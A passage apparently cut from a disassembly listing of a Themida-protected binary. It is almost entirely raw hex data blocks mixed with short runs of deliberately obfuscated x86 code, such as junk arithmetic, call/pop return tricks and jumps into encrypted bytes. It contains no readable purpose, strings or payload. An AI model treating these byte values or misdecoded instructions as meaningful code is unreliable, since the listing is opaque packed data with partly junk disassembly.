0FA2BD985h, 7, 0B3EA8000h, 167DB5FFh, 6A07FAh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 7F594DC3h, 9F881F92h, 8B6A31BFh, 0FA20319Dh, 9995FF07h dd 0F07FA17h, 6AD6B7h, 101995FFh, 0C08B07FAh, 0DC7D0EEBh dd 3D8B1EBCh, 0BD7EFD02h, 5027B569h, 12E8h, 16382700h dd 615AEACAh, 7C5033E9h, 0C816B62Ah, 0E9EDAC77h, 0Eh, 47026FF3h dd 8C2D1BBBh, 0C960904Fh, 0F5FF69Fh, 0C781DEBFh, 68ACh dd 1A07B8h, 0E6816600h, 0F8B4CEAh, 0D9D9D8Bh, 0C18107FAh dd 24204A61h, 11E8h, 126ADB00h, 0DB581D2Dh, 5E3C5D26h dd 0C66C5322h, 0CDBBDF6Ah, 5E2E0709h, 813DF181h, 0D38B772Ch dd 0C010C181h, 51F517C4h, 0AA62EDBEh, 66078F78h, 83E622BAh dd 0C28104EFh, 2A7C29D9h, 1E881h, 850F0000h, 0FFFFFFA6h dd 0BE8F5h dd 2AE90000h, 0A23F58B1h, 5A10D239h, 0ED9D337Fh, 5A07FA01h dd 6001C281h, 9D8B0000h, 7FA1005h, 17CDB8h, 1FBB6600h dd 0E832FFD3h, 0Ah, 0FF958C33h, 0FD90E28Fh, 9D897474h dd 7FA21E5h, 8E95F5Eh, 33000000h, 491ECA42h, 81A5746Ch dd 64B990F7h, 9D0B5356h, 7FA25DDh, 3BEF815Eh, 812EDDD2h dd 78777DC7h, 0F08B664Ah, 0EA833A89h, 12E904h, 5150000h dd 0B1535D87h, 0B8EB4987h, 7F77414Ch, 2C482E60h, 1E881h dd 850F0000h, 18h, 0C3DFBB66h, 36E9h, 0B4DD5700h, 15C1A0Ch dd 0F33FAFFEh, 6881BC95h, 0DE9h, 0EEBABC00h, 3E3F8488h dd 23FD3917h, 66E90D62h, 0B1FFFFFFh, 656A048Fh, 68A3159Bh dd 986B6737h, 0E8E4FD80h, 0Ah, 7A811E12h, 3706E99Ah, 0F081BBC5h dd 4C395764h, 69B58B5Bh, 8107FA20h, 6C4FC3h, 0CCEFB900h dd 0E9816C61h, 6C61B1FEh, 1855958Bh, 3B8B07FAh, 6E9h, 20F2BD00h dd 81B341F0h, 34419EF7h, 92CA817Eh, 815EB4DDh, 67B4E7EFh dd 0BD8B6018h, 7FA0829h, 15918D29h, 816107FAh, 0E38709F7h dd 5860F1Ah, 66000000h, 0D1C9C281h, 0BE663B89h, 0EB813A49h dd 186F87B1h, 0ADC381F9h, 66186F87h, 83847CBAh, 850F01E9h dd 0FFFFFFA2h, 8B0ACC80h, 0CDBD83C0h, 7FA2Ah, 0BD830975h dd 7FA1899h, 50197400h, 0B8C08B53h, 421h, 20C98589h, 9D8D07FAh dd 7FCE224h, 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h dd 421h, 20C98589h, 9D8D07FAh, 7FCDF13h, 585BD3FFh, 9D8BC08Bh dd 7FA14A9h, 66585C6h, 685607FAh, 9CA8B852h, 2095B5FFh dd 858D07FAh, 7FDA3DDh, 46AD0FFh, 100068h, 69B5FF00h, 6A07FA1Ch dd 85D0FF00h, 0D850FC0h, 0B8000000h, 0 ; --------------------------------------------------------------------------- lea ecx, [ebp+7FA72FBh] jmp ecx ; --------------------------------------------------------------------------- dd 0C38BC88Bh, 53C4003h, 0F8h, 30C508Bh, 19BD83D3h, 7FA27h dd 0E840Fh, 9D8B0000h, 7FA2719h, 1EA9858Bh, 38907FAh, 858D5251h dd 7FA43D1h, 0FA8BD0FFh, 0D18BF18Bh, 0A4F3C88Bh, 66585C6h dd 685607FAh, 0D41F6D39h, 2095B5FFh, 858D07FAh, 7FDA3DDh dd 68D0FFh, 6A000080h, 0D0FF5200h, 0BD83C08Bh, 7FA2ACDh dd 83097500h, 0FA1899BDh, 19740007h, 0C08B5350h, 421B8h dd 81858900h, 8D07FA15h, 0FCE28B9Dh, 5BD3FF07h, 99BD8358h dd 7FA18h, 53501774h, 421B8h, 81858900h, 8D07FA15h, 0FCDF2C9Dh dd 5BD3FF07h, 8DC08B58h, 0FA27199Dh, 0B038B07h, 7840FC0h dd 8B000000h, 45B8B03h, 41B81889h, 0E800004Bh, 0Ah, 0C59AAE95h dd 43C04D20h, 0DE96F00h, 0DB000000h, 6BC0E5B6h, 0CA423373h dd 746C491Eh, 0C68B665Bh, 0D847C381h, 9BBF0000h, 68386775h dd 0 ; --------------------------------------------------------------------------- jle loc_5F8AD0 mov dl, al loc_5F8AD0: ; CODE XREF: Themida_:005F8AC8j pop ecx loc_5F8AD1: ; CODE XREF: Themida_:005F8B29j push dword ptr [ecx+ebx] clc pop esi jmp loc_5F8AE5 ; --------------------------------------------------------------------------- db 0FEh dd 0D431A16Bh, 7B34B337h db 69h ; --------------------------------------------------------------------------- loc_5F8AE5: ; CODE XREF: Themida_:005F8AD6j xor esi, 45B2C3F0h mov di, 0D8F0h loc_5F8AEF: ; CODE XREF: Themida_:005F8B68j sub esi, 6775161Fh mov edx, edi xor esi, 29FF3006h mov ax, 0CFA0h mov [ebx+ecx], esi mov edx, eax mov eax, esi sub ecx, 3 dec ecx mov eax, edi cmp ecx, 0FFFF285Ch loc_5F8B14: ; CODE XREF: Themida_:005F8B50j jnz loc_5F8B26 mov edi, ecx jmp loc_5F8B3F ; --------------------------------------------------------------------------- db 5Bh, 59h, 8Dh db 0F7h, 0A8h ; --------------------------------------------------------------------------- loc_5F8B26: ; CODE XREF: Themida_:loc_5F8B14j movsx edx, bx jmp loc_5F8AD1 ; --------------------------------------------------------------------------- dw 0A35Ch dd 76C22E1h, 0A8844ECh, 0EE31FBE6h db 55h, 0A1h, 7Bh ; --------------------------------------------------------------------------- loc_5F8B3F: ; CODE XREF: Themida_:005F8B1Cj dec dl das db 2Eh push cs test al, 8Ch cmpsb dec edx mov ch, [edx+2Fh] push cs test al, 0ABh aad 0EAh jnz short loc_5F8B14 das push cs test al, 8Ah cmpsd dec edx mov bh, [edx+6757AE5Dh] movsb dec edx mov dh, [edx] sub al, 0Eh test al, 0ABh aad 0EAh jnz short loc_5F8AEF sub al, 0Eh test al, 55h movsd dec edx mov al, [edi] sub eax, 0A5D7A80Eh dec edx mov bh, cl sub eax, 0D5ABA80Eh jmp far ptr 0C81h:0D42F2575h ; --------------------------------------------------------------------------- dw 1D2Bh dd 6A2C003h, 90A75CA9h, 59A31D1Dh, 422ED121h, 0D42F4D8Bh dd 1D2B0C46h, 6AAC003h, 90A75CA9h, 59A31CCCh, 423AD121h dd 0D42F4D8Bh, 1D2B0D35h, 6B6C003h, 90A75CA9h, 59A31C78h dd 4236D121h, 0D42F4D8Bh, 1D2B0E9Eh, 682C003h, 90A75CA9h dd 59A31FF5h, 4202D121h, 0D42F4D8Bh, 1D2B0E68h, 68EC003h dd 90A75CA9h, 59A31E8Bh, 421AD121h, 0D42F4D8Bh, 1D2B0FEAh dd 696C003h, 90A75CA9h, 59A31EF1h, 4212D121h, 0B8C34D8Bh dd 152A5012h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0F6C0D5F2h dd 96AA44DDh, 152AA8EDh, 2429458Ah, 96E367A0h, 0D5ADBAB4h dd 152A54A1h, 5564C6CBh, 0EAD5BA41h, 0AE63CE75h, 0EF3C7D3Ah dd 5342848Dh, 0EA2211ABh, 245D55FFh, 9C3AABA4h, 0DAC3B9CFh dd 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh, 0D2262923h dd 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h, 0DB2FEE27h dd 1D2B3CAAh, 1129475h, 17A0D902h, 0AEAA44E2h, 51A1EC79h dd 0DC0941AEh, 14425622h, 3773BA82h, 732ADF10h, 5328C821h dd 0EA2255C0h, 152BFD5Bh, 9881508Ch, 50CA4700h, 0A5FBABA0h dd 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh dd 0FD4AA86Ch, 51A2458Ah, 0B6C0D5F2h, 0DAAA44D2h, 68A15CDDh dd 0ADE78286h, 152A54A8h, 0A030BACCh, 9E2DAEB5h, 0FC69CE52h dd 0A5B99783h, 0FA31EFE2h, 17A0D9F9h, 0AEAA44E2h, 949A0D79h dd 551A2320h, 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h dd 402A5C6Ah, 9521A901h, 15C23454h, 0BA2458Ah, 4DD0BE29h dd 24294D8Bh, 1957DFA0h, 515E004Dh, 532A54A8h, 4C53D775h dd 0CDA15352h, 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h, 17A0D9F9h dd 0AEAA44E2h, 949A0D79h, 651A2320h, 8481328Ch, 5DDF6E21h dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h dd 5DDFCE82h, 15D6116Fh, 0FDA2458Ah, 1DC9953Bh, 919197B9h dd 38F2DE04h, 51A2454Ah, 1AD5A828h, 51A25E0Eh, 1523EDA8h dd 0A055458Ah, 9025862Dh, 51A24586h, 7332A328h, 37AA8E4Bh dd 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh, 9E7F54A0h dd 0AD66C666h, 1D5FDFC8h, 96AE3801h, 152AA8EDh, 0C20E458Ah dd 2622B769h, 0FD627658h, 0D5078C22h, 0D1A2458Ah, 9125AB54h dd 51A24593h, 152A5D11h, 0D453B28Ah, 1FAF5B7Ah, 0E0A2458Ah dd 93E25610h, 9191EF4Bh, 19577F03h, 305E3803h, 0DCD61123h dd 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh dd 0B92A54A8h, 0B2229D00h, 85E1D4A7h, 0DC088600h, 14425622h dd 0E173BA82h, 9FA7FEF8h, 59A32D88h, 0D6A08557h, 5DDF6E20h dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h dd 5DDFCE82h, 15D6116Fh, 0E9A2458Ah, 152A54AFh, 478BD775h dd 45265352h, 5328C820h, 0EA2255C0h, 0FB2BF55Bh, 3186949Bh dd 59622E85h, 0A58050ACh, 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh dd 15229661h, 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh, 0E96F93A4h dd 51A2458Ah, 87D5FE04h, 5658587Bh, 17868C23h, 0DB2FEF49h dd 1D2B3CAAh, 0E9C49475h, 0BE4CBD28h, 7A088600h, 68A358D5h dd 14292476h, 1DE89D54h, 0BD29108Ah, 75D6902Bh, 0DAAA3001h dd 50ED58D5h, 51A24576h, 0EA80F8A8h, 0ABBFB418h, 0B9E2DFAFh dd 0DC088558h, 14425632h, 3771BA82h, 73E39410h, 0FB63CF21h dd 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h, 0E9EED744h dd 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0BF8654A8h, 4C53D775h dd 0DDA15352h, 0FB637726h, 7D28CE25h, 825D4D8Bh, 0E4AAECCEh dd 9028EEECh, 19577F02h, 305E3803h, 0DCD61123h, 4A24D48h dd 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh, 732A54A8h dd 376B7732h, 17B0D903h, 0AEAA44E2h, 9592327Bh, 0FD09234Bh dd 6801FE04h, 0ADDFCC86h, 0E96FDFC9h, 51AA8743h, 96C6DFFDh dd 0DAC2B94Eh, 68A15CDDh, 0ADE78286h, 152A54A8h, 0B824FDECh dd 8FA7FFCEh, 59A32D88h, 0A09A8757h, 0FB0E0320h, 7D28CE25h dd 825D4D8Bh, 0D8ACECCEh, 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh dd 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0DEC0D5F2h dd 96AA44D1h, 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h dd 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch dd 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah dd 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h, 422ACE25h dd 0DCF14D8Bh, 147D8332h, 0D871BA82h, 42C3A8EDh, 0AEA2458Ah dd 60D558DDh, 4138C882h, 462255FFh, 675DF07h, 0C6D55CA9h dd 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh, 59A31296h dd 0C2B0D9FBh, 0AEAA44DDh, 0E96FDD7Bh, 51A25863h, 195FABA8h dd 0DCAA3075h, 147D7C32h, 0CB2F1682h, 1D2B037Fh, 142B9675h dd 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 8D000030h dd 15DC08Dh, 50006A08h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0BF0F62FBh, 8D89F9F3h, 7FA1CD9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0F9C35646h dd 0E0A6E69Fh, 5277BE5Eh, 77BA60E0h, 6134694Dh, 0D4DB589h dd 85C707FAh, 7FA31ADh, 5F6Ch, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 8EC35343h, 95319697h, 7FA16EDh dd 2AC38166h, 0D985C73Fh, 7FA2Bh, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 60BBC353h, 8D19589h, 816607FAh, 61720FE6h, 30B5BD89h dd 0DE907FAh, 3D000000h, 0CB1C6C51h, 56150450h, 0A09A9B94h dd 16F1B5FFh, 0BD8B07FAh, 7FA0861h, 0CB5958Bh, 95FF07FAh dd 7FA1799h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0ECC35545h, 21B27C78h, 0D9ED04E8h, 85B58989h, 0F07FA14h dd 6ADFBFh, 101995FFh, 0C08B07FAh, 0D3400BEBh, 0D17753DBh dd 51467290h, 3BE987h, 8B600000h, 0FA1785BDh, 4EF8307h dd 0C18BC933h, 0B88320BBh, 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h dd 850F4EC2h, 0FFFFFFF1h, 81078941h, 100F9h, 0D3820F00h dd 61FFFFFFh, 0EBC88BC3h, 16h, 4 dup(0) dd 0A4010100h, 1000000h, 75958908h, 5007FA0Fh, 52505250h dd 8B0Fh, 310F0000h, 8E0Fh, 585A0000h, 5E9310Fh, 7C000000h dd 2B47F2DAh, 489585Ah, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0CA00F8BEh, 25FA454h dd 14E860h, 0BCB30000h, 8555EA87h, 4849D208h, 0A7348F61h dd 0DBFD6126h, 0BF660C55h, 81587D61h, 1BAA6BDFh, 8B666174h dd 29006AD9h, 0FA01898Dh, 0F006A07h, 38Fh, 0A0DD8000h dd 5F43858Dh, 0D78B0801h, 2830F50h, 0B1000000h, 240489CDh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0F9C35545h dd 0F6409CB2h, 0DE6040Bh, 0D68B6651h, 6890F5Bh, 8B000000h dd 0FA076D95h, 0B2006A07h, 0F006A16h, 688h, 65BD3100h dd 0FF07FA25h, 0FA2BE995h, 90E78007h, 669E9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0FEFF3E57h, 0E8h, 0ED815D00h, 8015F48h, 5E9h, 454D8F00h dd 6AC617h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 2721ABC3h, 3B5EA79Ch, 79958B33h, 0E907FA1Dh dd 0Ah, 0F61E81DAh, 9D9B6D89h, 8D8B38F7h, 7FA1BE5h, 4E8h dd 0FA000h, 5096B500h, 424448Bh, 2840Fh, 61600000h, 0BA66008Bh dd 44896E6Ch, 33BB0424h, 5878D7BDh, 0BE9h, 91F5B300h, 178DF97Dh dd 1679177Eh, 101995FFh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0C40B36C3h, 0C8D8CABh dd 12E8211Dh, 18000000h, 32EA9240h, 6A285161h, 0FA3C9961h dd 12BA58C6h, 21BD891Dh, 5B07FA20h, 2825BD89h, 0B58D07FAh dd 8015E14h, 1D8D8952h, 5A07FA29h, 655206C7h, 6A6D67h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 46C7FEC3h, 636E6F04h, 0C735B56Ch, 73610846h, 81660073h dd 6A1B2FEAh, 68A0F00h, 81000000h, 4E8591F3h, 14858D3Bh dd 6A08015Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 35F5C352h, 2025D009h, 80608C6Dh dd 0D980BFC0h, 0E8906102h, 6, 3EFEAEF1h, 1FBB8AC0h, 5F404C4Dh dd 90D58A50h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0A4C35242h, 3321FFE7h, 87F9ADBAh, 2595FF3Fh, 2B07FA1Fh dd 0FA11D98Dh, 0FC00B07h, 6484h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 7282FAC0h dd 0E8C58550h, 0Dh, 0C168BDF7h, 4E8DE684h, 7CAFE59Fh, 0D98B669Bh dd 404E959h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 1B72AFC3h, 23F0885Ah, 0FA177595h dd 4E807h, 12C0000h, 66500000h, 505BCE8Bh, 8BDE8B66h, 0E9042444h dd 13h, 0E54B0E06h, 80CC5743h, 1732B8A1h, 0E4914A1Dh, 8BA9DA9Dh dd 0B8BB5700h, 5F5B2CF2h, 4244489h, 0D78B6658h, 101995FFh dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 8D0FBAC3h, 5, 0F5C38166h, 0EFBB6647h, 14B58D97h dd 6608015Eh, 0D105EB81h, 383106C7h, 6A3634h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 3A9AB5C3h dd 370446C7h, 6A31342Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0F614C357h, 381EEBF7h dd 0B70FFA8Ah, 846C7CFh, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5F9673 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F9673 proc near ; CODE XREF: Themida_:005F966Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5F9673 endp ; --------------------------------------------------------------------------- db 4Ah dd 7E5C70Eh, 0D2B3FA8Fh, 8166006Ah, 8DB694E2h, 15E1485h dd 2488BF08h, 860F13F5h, 6, 64DBD8Bh, 0F9007FAh, 88Ah dd 8F0F5200h, 0 ; --------------------------------------------------------------------------- pop edi push eax mov bl, 0E7h nop push 0 push ecx call sub_5F96C8 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F96C8 proc near ; CODE XREF: Themida_:005F96C0p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5F96C8 endp ; --------------------------------------------------------------------------- dd 3B71A669h, 69B5896Ch, 0FF07FA01h, 0FA1F2595h, 9D316007h dd 7FA0DE5h, 0B61D48Ah, 36840FC0h, 8A000000h, 270E9EBh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 6E60BFC3h, 8C0F96E0h, 9, 3840Fh, 0DE800000h dd 0BDE568F3h, 8B661ADBh, 243481D7h, 1ADBBCC9h, 0DE9h dd 51A59900h, 0F7625DE4h, 4DC37C37h, 95FF0831h, 7FA1019h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 68C35545h dd 0D6F5C621h, 758C937Bh, 25950303h, 8D07FA1Dh, 15E14B5h dd 53006A08h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 331021CAh, 3BBA9369h, 694606C7h, 6A656Ch dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 380D63C3h, 0E9D4BF5Ch, 0Ch, 90AEEB67h, 818E1E49h, 9783CD4Ah dd 46C77BB7h, 6E6F6D04h, 51006A63h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 0B93C863Eh, 81858915h dd 0C707FA06h, 616C0846h, 6A7373h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0AA450EC3h, 2FD9D29h dd 0BD8B07FAh, 7FA1771h, 0C46C7h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0ED80C355h, 6492C2DDh, 662B3DAAh, 6AF98Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 89C35242h, 6FB615E4h dd 0E0F926AFh, 7E8ABh, 48DA0000h, 0D8B71C58h, 6E8C4h, 0DEB30000h dd 3CE809BDh, 8D5A5AF5h, 15E1485h, 51006A08h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 8F0F28ADh dd 6, 305BD8Bh, 525007FAh, 5FD38B66h, 8B240489h, 0FA08318Dh dd 2595FF07h, 6A07FA1Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 759FC350h, 20840F14h dd 0E8000000h, 14h, 0F14C48CEh, 0CCE47AD3h, 6AFE421Fh dd 980A467h, 3792C7B5h, 8319D8Bh, 0B5F07FAh, 28840FC0h dd 0E9000000h, 2Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0C0C35646h, 8166F8F4h, 0E9D8F7CAh, 0FFFFFA14h dd 0B58D4BB6h, 7FA72FBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 2EC35343h, 9642C765h, 0B7B966C2h, 0B856h dd 9D0B0000h, 7FA1C99h, 6AE6FFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 71D240C3h, 999D2Bh, 0C18B07FAh dd 0EE8h, 0C6AF0F00h, 342CD1FBh, 3CFBC3C2h, 5F94835Ch dd 149D8D8Bh, 0C78107FAh, 6E0Ch, 10A1B58Bh, 0D22B07FAh dd 11E9h, 5AD05800h, 0EACC2BFh, 87AAF611h, 981B28B8h, 34FFC010h dd 11BD893Ah, 5B07FA16h, 9E8h, 613F2D00h, 0E77E67D4h, 5EFC4729h dd 456BEB81h, 0B58B0D83h, 7FA1181h, 0A238F381h, 0B96614ACh dd 0C381F91Ah, 477FFB1Ah, 183D9589h, 1C8907FAh, 890F17h dd 66000000h, 838217B9h, 7E903EAh, 3B000000h, 5962F7A7h dd 0F4AF326h, 681h, 0C9B58B00h, 8107FA07h, 0FF92ACFAh dd 8F850FFFh, 0FFFFFFFh, 0C88h, 6880F00h, 0F000000h, 83h dd 0FDED5500h, 0F67A5E75h, 0E669A476h, 0FD49BC56h, 0FD2555CAh dd 0FD257B28h, 0FD256C69h, 0FD25E5CFh, 0FD2520B9h, 0FD25C297h dd 0FD25B27Ch, 0FD250A5Dh, 0FD255648h, 0FD257B77h, 0FD256C4Ch dd 0FD25E7A1h, 0FD252102h, 0FD25C3E3h, 0FD25B2CCh, 0FD250988h dd 0FD2555DCh, 358A259Dh, 0D6A22295h, 0DE714A76h, 0F44BBD5Ch dd 0FD7A5A5Ch, 0F5722775h, 0FD799775h, 0FD78CB74h, 0F57DED73h dd 0FC7BF374h, 0FC7B7874h, 0FD7ABC75h, 0FD7A5E75h, 0A25AC976h dd 0A25B7A75h, 0FD7ACB75h, 0FC7BE475h, 0FC7BF374h, 0F8B29074h dd 701ABC75h, 0FC1036F0h, 62FFA67Dh, 70729613h, 0FC10B5F0h dd 0A2FF6C7Dh, 7072F313h, 0FC10C5F0h, 66FF357Dh, 70725F13h dd 0FC1033F0h, 9EFF1E7Dh, 7072CA13h, 0FC133EF0h, 9AFF7B7Dh dd 70727813h, 0FC12C5F0h, 96FFD77Dh, 70722E13h, 0FC121CF0h dd 92FF427Dh, 7072E413h, 0FC1253F0h, 8EFFF07Dh, 7072BD13h dd 0FC12A2F0h, 82FFA67Dh, 70729613h, 0FC1203F0h, 8AFF6C7Dh dd 7072F313h, 0FC129EF0h, 86FF357Dh, 70725F13h, 0FC12D3F0h dd 82FF1E7Dh, 7072CA13h, 0FC13D3F0h, 72FF7B7Dh, 70727813h dd 0FC13E9F0h, 6EFFD77Dh, 70722E13h, 0FC13EFF0h, 6AFF427Dh dd 7072E413h, 0FC1333F0h, 7EFFF07Dh, 7072BD13h, 0FC13A6F0h dd 7AFFA67Dh, 70729613h, 0FC1058F0h, 76FF6C7Dh, 7672F313h dd 76788F0h, 25FF3572h, 76725F13h, 76C06F0h, 21FF1E72h dd 9C72CA13h, 11F1B0B6h, 0FD7AF29Dh, 17FB2375h, 0F57BDB99h dd 0F53FD525h, 9BADADFDh, 34229F74h, 0AC7ACFB7h, 0AD29B723h dd 0FD7A1A20h, 7C277975h, 0FC12B198h, 0A3FFA07Dh, 7D722E13h dd 0FC1CC9C8h, 0B409CF7Dh, 4B75E4C5h, 89BAF9B5h, 21EF8635h dd 0BD72BD13h, 452B96FEh, 0FD7A2F7Ah, 9BA6028Ah, 48F7C374h dd 0F57B832Ah, 50FCC6F8h, 0FD7E4B9Dh, 456FCF75h, 0FD7A5E76h dd 9BA6BA8Ah, 48F79F74h, 0F57BAD2Ah, 50FCD1F8h, 1F23228Ah dd 0A3F787BCh, 0A072BD13h, 0A320052Dh, 6D92EC2Ch, 4D7A9777h dd 5779C1CDh, 9BA2708Ah, 3ED1FA74h, 0FD78079Dh, 9BC2DA75h dd 9B5954CDh, 25EFD0DEh, 9B729613h, 959208DEh, 0B7AE577h dd 8872F336h, 25EF866Eh, 4D72BD13h, 0AD7954C5h, 9BA2BA8Ah dd 9B209F74h, 9B7E2BF6h, 561C277Eh, 0FF6B1AB6h, 15297975h dd 0FD7ABE4Eh, 89A0652Fh, 3D59A57Bh, 0DF709491h, 4DBA07F5h dd 3ED183FEh, 0FD7B009Dh, 0E1922A75h, 0A77ABC77h, 120E844Eh dd 16D049C5h, 0FCA77FA9h, 0BE8CCB75h, 0D30FED74h, 0FF7B1A26h dd 0B207975h, 8872BD36h, 89A06554h, 3D59A568h, 0DF709491h dd 4DBA07F5h, 6885B5FFh, 0F57B94ADh, 0FD5F1F2Fh, 3F71DA51h dd 4DB9F513h, 0BD9285E9h, 4D7A9774h, 359261F4h, 157AE574h dd 0FD7AF22Dh, 0FC5791DEh, 60CABC75h, 61CA9DDFh, 0FC5BC7DFh dd 451C9775h, 561C4A13h, 0FD7B439Dh, 0FD4C1A75h, 561C7975h dd 0FD7BB69Dh, 57E7EE75h, 57E69FB6h, 0FD7A699Dh, 0FCF32375h dd 0BE8CE575h, 0F20FFA74h, 15D0F9C5h, 0FD7ABC65h, 0F99EDEDFh dd 1584487Dh, 0FD7A97AAh, 3ED056C5h, 0FD7AE2CDh, 21EF0D75h dd 70727813h, 0FC1C1FC0h, 518A5D7Dh, 2D02C7Fh, 0FC1C4FE0h dd 0E592087Dh, 4D7AE574h, 5779F825h, 2844B9Dh, 0FC43548Ah dd 0A5CA5E75h, 3ED02C7Fh, 4DD0C7C5h, 0E1926127h, 9B851A8Bh dd 9B4BFDCDh, 36B91DEh, 0A7CA438Ah, 5722EEDFh, 57929FB6h dd 0C923C22h, 0A77ACB75h, 3F5122FEh, 747E1AF6h, 8B9177h dd 592438Ah, 4D7A5E75h, 5779252Dh, 0A8FF69B6h, 7D72CA13h dd 0FC1CB0C8h, 0EC0FF37Dh, 9BBDFCF8h, 152AB474h, 0FD7A5C61h dd 0FD781B9Dh, 571A2775h, 287759Dh, 0C30D8Ah, 9CCA0D8Ah dd 0A8F787DFh, 7D72BD13h, 0FC1C0BC8h, 0F10F2F7Dh, 9BBD12F8h dd 152AC374h, 0FD7AE4DEh, 0FD7E4AB6h, 68857975h, 0F57BDAA9h dd 965EC3F8h, 0F9F02774h, 4DB93D6Dh, 562D619Ch, 0FD7A8E9Dh dd 3AF1A875h, 15F9BB5Eh, 3E783571h, 9BA2CB8Ah dd 4ACE2774h, 0FF0E9651h, 0F2CA74C1h, 0C9924E13h, 0AE7AF275h dd 0FD7A279Dh, 0FEF0E675h, 0F179BEB5h, 577825B5h, 25EF68B6h dd 7D72CA13h, 39FAEA91h, 9B7542F5h, 15D12EDEh, 285415Ah dd 0D6BDD52Fh, 0F992ACB7h, 45B995FCh, 0FD7ACB73h, 9BA6708Ah dd 60F7FA74h, 0F57B1FCEh, 3E39A0F8h, 0FD7A4ECDh, 21EFD075h dd 7E729613h, 35F1CEB5h, 25EF1A89h, 5772F313h, 15B98E97h dd 28543BEh, 0D97B1DFFh, 778E5A72h, 0FC6C7F76h, 1608CB75h dd 8831DB6h, 11F1A789h, 9D86BDF6h, 0FD7ABC9Dh, 17FB0475h dd 0F57B4441h, 7D86EAFCh, 0FC1C1CCFh, 7975E57Dh, 0FD7AF2ECh dd 0FD7A73CDh, 21E84375h, 0BD725F13h, 9B9AADFCh, 35F19F74h dd 917279F8h, 6F85ED74h, 0F57B94ADh, 1F3C7FFDh, 0FD6D0480h dd 7F795E75h, 0F57B4995h, 1E01A35h, 7E72CA1Eh, 0FEF3E1B6h dd 0FD644B22h, 77797975h, 0F57BDA95h, 9690ECF8h, 59892774h dd 0FD722F2Bh, 6F85CB75h, 0F57B83A9h, 897E0AF6h, 447C7185h dd 0FD7ABC72h, 0F24B5A7Dh, 